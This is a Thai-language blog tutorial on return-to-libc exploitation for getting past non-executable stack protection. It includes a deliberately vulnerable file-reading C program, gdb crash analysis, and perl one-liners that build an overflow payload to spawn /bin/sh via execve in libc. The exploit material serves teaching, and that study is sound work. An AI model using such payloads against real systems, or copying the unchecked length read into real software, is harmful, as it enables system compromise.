Saturday, September 10, 2011

Basic Return-to-libc

จากตัวอย่างก่อนหน้านี้ทั้งหมด จะเห็นว่าเราได้มีการ inject shellcode ไว้ใน stack แล้วทำให้ eip ชี้ไปที่ shellcode ของเราใน stack ซึ่งโปรแกรมปกติจะไม่มีการ execute code ใน stack อยู่แล้ว ทำให้เกิดมีการทำ Non-Executable Stack โดยเริ่มต้นทำเฉพาะส่วนของ stack ไม่สามารถ execute code ได้ ซึ่งต่อมาได้มีการทำ Non-Executable (NX) ในส่วนอื่นๆ ที่ไม่จำเป็นต้องมี execution permission ด้วย เช่น .bss, heap เป็นต้น

ในหัวข้อนี้ เราจะมีดูวิธีการ bypass เมื่อมีการ enable NX ด้วย return-to-libc (ret2libc) ซึ่งจากตัวอย่างแรก (ex_13_1.c) โดยเราจะ compile ทั้งสองแบบและดู process maps

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_13_1 ex_13_1.c
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_1_nx ex_13_1.c
*/
#include <stdio.h>
int main(int argc, char **argv)
{
 getchar();
    return 0;
}
$ ./ex_13_1 &
[1] 2020
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r-xp 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rwxp 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00131000 rwxp 00000000 00:00 0
00140000-00293000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00293000-00294000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00294000-00296000 r-xp 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00296000-00297000 rwxp 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00297000-0029b000 rwxp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
08049000-0804a000 rwxp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1
$ fg
./ex_13_1

$ ./ex_13_1_nx &
[1] 2024
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00281000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00281000-00282000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00282000-00284000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00284000-00285000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00285000-00288000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
08049000-0804a000 rw-p 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
b7fed000-b7fee000 rw-p 00000000 00:00 0
b7ffd000-b8000000 rw-p 00000000 00:00 0
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1_nx
$ fg
./ex_13_1_nx

เมื่อเอา option "-z execstack" ออก เราจะเห็นว่า segment ไหนที่ไม่ใช่ code จะไม่ executable และถ้าเราลองเอา option นี้ออกในตัวอย่างเก่าๆ ออก จะเห็นว่า exploit ของเราไม่ทำงานแม้แต่อันเดียว เนื่องด้วยเราแก้ไขค่า eip ให้ไปที่ stack ที่ไม่สามารถ execute ได้ ทำให้เกิน segmentation fault

คนแรกที่อธิบายวิธี ret2libc ที่ใช้ bypass NX คือ Solar Designer ซึ่งผมได้ใส่ไว้ใน reference โดยผมจะอธิบายวิธีไม่ตรงกับใน paper ซะทีเดียว แต่หลักการเดียวกัน เพื่อให้ง่ายในการไปต่อให้หัวข้อถัดๆ ไป

concept ของ ret2libc คือแทนที่เราจะใส่ shellcode ที่เป็น system call เพื่อเรียก execve หรืออะไรก็แล้วแต่ เราก็ไปเรียก execve function (หรือ function อะไรก็ได้) ใน libc เลย ซึ่งส่วนนี้ยังไงก็ต้อง executable ส่วนวิธีที่จะเรียก function ใน libc นั้น ก็ต้องกลับไปดูที่เรื่อง "Function กับ Stack" ซึ่งเมื่อโปรแกรมทำคำสั่ง call แล้วเข้าไปใน function หรือตอนที่จบ function โปรแกรมกำลังจะทำคำสั่ง ret จะมี stack ดังนี้

จากตัวอย่างที่ผ่านมา เวลาเราทำ stack based buffer overflow เราจะเขียนทับ saved eip ไปที่ shellcode ของเรา แต่คราวนี้ถ้าเราเขียนทับ saved eip ไปที่ execve function ใน libc ซึ่งเมื่อโปรแกรมทำงานคำสั่ง ret ก็จะ pop ค่าใน stack เป็น eip แล้วเข้าไปใน execve function ซึ่งจะมี stack layout สำหรับ execve function เป็นดังนี้

จะเห็นว่า execve จะมองค่า arg2, arg3 และ arg4 ในรูปแรกเป็น function argument ที่ 1,2,3 ตามลำดับ ดังนั้นเวลาเราทำ overflow หลังจากเราเขียนทับ saved eip ด้วย address ของ execve function ใน libc แล้ว เราสามารถเขียนทับต่อเพื่อกำหนด arg1 เป็น address ของ "/bin/sh" และ arg2 กับ arg3 เป็น address ที่มีค่าเป็น 0 โปรแกรมก็จะทำงาน execve("/bin/sh", NULL, NULL) ซึ่งเทียบเท่ากับ spawn shell

เรื่อง exploit จะให้เข้าใจจริงๆ ต้องมีการลองทำ ดังนั้นเรามาดูตัวอย่างกันเลยดีกว่า (ex_13_2.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_2 ex_13_2.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void readfile(const char *filename)
{
    FILE *fp;
    unsigned short len;
    char buffer[2048];
    
    fp = fopen(filename, "rb");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file\n");
        exit(1);
    }
    
    fread(&len, 2, 1, fp);
    fread(buffer, 1, len, fp);
    fclose(fp);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
        return 1;
    }
    readfile(argv[1]);
    return 0;
}

ตัวอย่างนี้ โปรแกรมทำการอ่านไฟล์ โดยจะอ่าน 2 bytes แรกของไฟล์เพื่อให้รู้ว่าต้องอ่านข้อมูลต่ออีกกี่ byte ซึ่งเห็นปัญหาได้ชัดเจนว่าถ้าเราใส่ให้ len มีขนาดมากกว่า 2048 จะทำให้เกิด buffer overflow และเนื่องด้วยในตัวอย่างนี้ใช้ fread() ทำให้ไม่มี badchar

ก่อนอื่นเรามาทำให้โปรแกรม crash ก่อนดีกว่า โดยผมจะใส่ค่า A ใน buffer และที่เหลือเป็นค่าอื่น เพื่อให้เห็นว่าตำแหน่ง saved eip อยู่ห่างจาก buffer เท่าไร

$ ulimit -c unlimited
$ perl -e 'print "\xff\x1f","A"x2048,"BBBB","CCCC","DDDD","EEEE","FFFF","GGGG"' > ex_13_2_expl
$ ./ex_13_2 ex_13_2_expl
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
#1  0x080485c3 in readfile ()
#2  0x47474646 in ?? ()
#3  0xbfff4747 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/4x $ebp      # ดู fclose argument
0xbfffeed8:     0xbffff708      0x080485c3      0x43434242      0x00000001
(gdb) info frame 1
Stack frame at 0xbffff710:
 eip = 0x80485c3 in readfile; saved eip 0x47474646
 called by frame at 0xbffff714, caller of frame at 0xbfffeee0
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c

จากการตรวจสอบ core file จะเห็นว่าโปรแกรมไม่ได้ crash เพราะเรา overwrite saved eip แต่ไป crash ใน fclose() function ที่เรียกจาก readfile() function และเมื่อดู argument ของ flose() จะเห็นว่าค่า fp คือ 0x43434242 แสดงให้เห็นว่าตำแหน่งที่เก็บ fp นั้นอยู่ระหว่าง buffer กับ saved eip

ก่อนอื่นเรามาดู offset ของค่าต่างๆ ที่สำคัญก่อน ค่าแรกคือ fp ซึ่งต้องเขียนไปก่อน 2050 bytes และ saved eip จะอยู่หลัง fp ไป 12 bytes

ส่วนวิธีจัดการกับปัญหา fclose() ง่ายๆ คือใส่ค่าเดิมลงไป ซึ่งจะเหมือนเดิมทุกครั้งที่รันโปรแกรม เนื่องจากเรายังไม่มีการ enable ASLR (จะกล่าวถึงในหัวข้อถัดไป) ส่วนอีกวิธีคือให้สร้าง FILE struct ปลอมใน buffer แล้วแก้ fp ให้ชี้ไปที่ FILE struct ของเรา (วิธีนี้ผมไม่ทำนะครับ เพราะไม่เกี่ยวกับหัวข้อนี้) ดังนั้นเราต้องหาค่าของ fp ก่อนที่จะโดนเขียนทับก่อน

$ gdb -q ./ex_13_2
(gdb) disass readfile
Dump of assembler code for function readfile:
   0x08048514 <+0>:     push   %ebp
...
   0x080485b8 <+164>:   mov    -0xc(%ebp),%eax
   0x080485bb <+167>:   mov    %eax,(%esp)
   0x080485be <+170>:   call   0x80483f4 <fclose@plt>
   0x080485c3 <+175>:   leave
   0x080485c4 <+176>:   ret
End of assembler dump.
(gdb) b *0x080485be
Breakpoint 1 at 0x80485be
(gdb) r ex_13_1.c
Starting program: /home/worawit/tutz/ch13/ex_13_2 ex_13_1.c

Breakpoint 1, 0x080485be in readfile ()
(gdb) x/x $ebp-0xc
0xbffff6dc:     0x0804a008

เราได้ address มาแล้วคือ 0x0804a008 คราวนี้ลองใหม่

$ perl -e 'print "\xff\x1f","A"x2050,"\x08\xa0\x04\x08","B"x12,"CCCC","DDDD","ARG1","ARG2","ARG3"' > ex_13_2_exp2
$ ./ex_13_2 ex_13_2_expl2
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
#0  0x080485c4 in readfile ()   # crash ที่คำสั่ง ret
(gdb) x/8x $esp   # check saved eip และค่าอื่นๆ
0xbffff71c:     0x43434343      0x44444444      0x31475241      0x32475241
0xbffff72c:     0x33475241      0x08048620      0x00000000      0xbffff7b8
(gdb) print execve    # หา address ของ execve ใน libc
$1 = {} 0x1c6040 

ตอนนี้ก็เหลือแค่หา address ของ "/bin/sh" กับ NULL ซึ่งจริงๆ แล้วใน env จะมี "/bin/bash" อยู่แล้ว แต่เราก็สามารถใส่ไว้ใน buffer ก็ได้โดยถ้าเราใส่ '/' นำหน้าเยอะๆ ก็จะทำให้โอกาสที่ argument1 ชี้ไปที่ string ที่เสมือน "/bin/sh" สูงขึ้น โดยผมจะประมาณไว้ที่ 0xbffff5a0 ส่วน NULL ผมจะใช้ address 0x08049f50

$ perl -e 'print "\xff\x1f","/"x1993,"bin/sh\x00","A"x50,"\x08\xa0\x04\x08","B"x12,"\x40\x60\x1c\x00","CCCC","\xa0\xf3\xff\xbf","\x50\x9f\x04\x08"x2' > ex_13_2_expl3
$ ./ex_13_2 ex_13_2_expl3

ก่อนจะจบ ถ้าย้อนกลับไปดูรูปที่ 2 จะเห็นว่า ถ้าเราไม่ใช้ execve แต่ใช้เป็น function อื่น ที่มีการ return ค่า เรายังสามารถควบคุม eip ได้อยู่หลังจากจบ function เพราะ saved eip นั้นได้ถูกเลื่อนลงมา ซึ่งจะนำมาใช้ประโยชน์อะไร ผมจะพูดถึงในหัวข้อหลังจากนี้นะครับ


Reference:
- http://insecure.org/sploits/linux.libc.return.lpr.sploit.html

No comments:

Post a Comment